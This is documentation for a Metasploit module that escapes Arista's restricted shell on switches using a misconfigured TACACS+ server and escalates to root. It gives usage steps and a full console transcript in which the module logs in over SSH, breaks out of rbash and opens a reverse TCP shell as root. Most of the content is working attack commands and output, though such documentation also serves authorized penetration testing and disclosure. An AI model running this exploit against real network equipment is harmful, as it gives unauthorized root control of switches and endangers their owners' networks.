## Description

  Implementing TACACS+ with Arista switch versions equal to or before 4.23.1F
  for "Read-Only" users can circumvent using the built-in roles supplied to
  restrict any bash  commands, leading to privilege escalation. This exploit
  is a combination of a poorly configured TACACS+ (tac_plus) AAA server and
  Arista’s alternative CLI shells.

## Vulnerable Application

  This module has been tested successfully on:

  * tac_plus Version: 202001211926/PCRE/DES

  Additional Vulnerable Tested Hardware/Software Combinations:

  * DCS-7280SRAM-48C6-R   – 4.22.0.1F
  * DCS-7050CX3-32S-R     – 4.20.11M
  * DCS-7050QX-32S-R      – 4.20.9M


## Verification Steps

  1. Start `msfconsole`
  2. `use exploit/unix/arista_tacplus_shell`
  3. `set PASSWORD <password>`
  4. `set USERNAME <username>`
  5. `set LHOST <lhost>`
  6. `set RHOST <rhost>`
  7. `check`
  8. `run`
  9. You should get a *root* session


## Scenario
```
root@kali:~/git/metasploit-framework# ./msfconsole


      .:okOOOkdc'           'cdkOOOko:.
    .xOOOOOOOOOOOOc       cOOOOOOOOOOOOx.
   :OOOOOOOOOOOOOOOk,   ,kOOOOOOOOOOOOOOO:
  'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO'
  oOOOOOOOO.MMMM.oOOOOoOOOOl.MMMM,OOOOOOOOo
  dOOOOOOOO.MMMMMM.cOOOOOc.MMMMMM,OOOOOOOOx
  lOOOOOOOO.MMMMMMMMM;d;MMMMMMMMM,OOOOOOOOl
  .OOOOOOOO.MMM.;MMMMMMMMMMM;MMMM,OOOOOOOO.
   cOOOOOOO.MMM.OOc.MMMMM'oOO.MMM,OOOOOOOc
    oOOOOOO.MMM.OOOO.MMM:OOOO.MMM,OOOOOOo
     lOOOOO.MMM.OOOO.MMM:OOOO.MMM,OOOOOl
      ;OOOO'MMM.OOOO.MMM:OOOO.MMM;OOOO;
       .dOOo'WM.OOOOocccxOOOO.MX'xOOd.
         ,kOl'M.OOOOOOOOOOOOO.M'dOk,
           :kk;.OOOOOOOOOOOOO.;Ok:
             ;kOOOOOOOOOOOOOOOk:
               ,xOOOOOOOOOOOx,
                 .lOOOOOOOl.
                    ,dOd,
                      .

       =[ metasploit v5.0.92-dev-5ef76ff232               ]
+ -- --=[ 2025 exploits - 1101 auxiliary - 343 post       ]
+ -- --=[ 566 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

Metasploit tip: Display the Framework log using the log command, learn more with help log

msf > search arista

Matching Modulesf
================

   #  Name                                   Disclosure Date  Rank   Check  Description
   -  ----                                   ---------------  ----   -----  -----------
   0  exploit/unix/ssh/arista_tacplus_shell  2020-02-02       great  Yes    Arista restricted shell escape (with privesc)


msf > use 0
msf exploit(unix/ssh/arista_tacplus_shell) > show options

Module options (exploit/unix/ssh/arista_tacplus_shell):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   yes       Password to login with
   RHOSTS                     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT     22               yes       The target port
   USERNAME                   yes       Username to login with


Payload options (linux/x86/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   CMD    /bin/sh          yes       The command string to execute
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Universal


msf exploit(unix/ssh/arista_tacplus_shell) > set LHOST eth0
LHOST => 10.10.10.20
msf exploit(unix/ssh/arista_tacplus_shell) > set RHOSTS 10.10.10.10
RHOSTS => 10.10.10.10
msf exploit(unix/ssh/arista_tacplus_shell) > set USERNAME admin
USERNAME => admin
msf exploit(unix/ssh/arista_tacplus_shell) > set PASSWORD admin
PASSWORD => admin
msf exploit(unix/ssh/arista_tacplus_shell) > check
[+] 10.10.10.10:22 - The target is vulnerable.
msf exploit(unix/ssh/arista_tacplus_shell) > exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.10.10.20:4444
[*] 10.10.10.10:22 - Attempt to login to the Arista's restricted shell...
msf exploit(unix/ssh/arista_tacplus_shell) > [+] SSH connection established.
[*] Requesting pty rbash
[+] Pty successfully obtained.
[*] Requesting a shell.
[+] Spawned into arista rbash shell.
[*] Attempting to break out of Arista rbash...
[+] Escaped from rbash!
[*] Command shell session 1 opened (10.01.10.20:4444 -> 10.10.10.10:51153) at 2020-06-09 15:39:53 -0700
msf exploit(unix/ssh/arista_tacplus_shell) > sessions -i 1
[*] Starting interaction with 1...
bash-4.3# whoami
whoami
root
bash-4.3# exit
exit
exit
[*] 10.10.10.10 - Command shell session 1 closed.
msf exploit(unix/ssh/arista_tacplus_shell) >
```
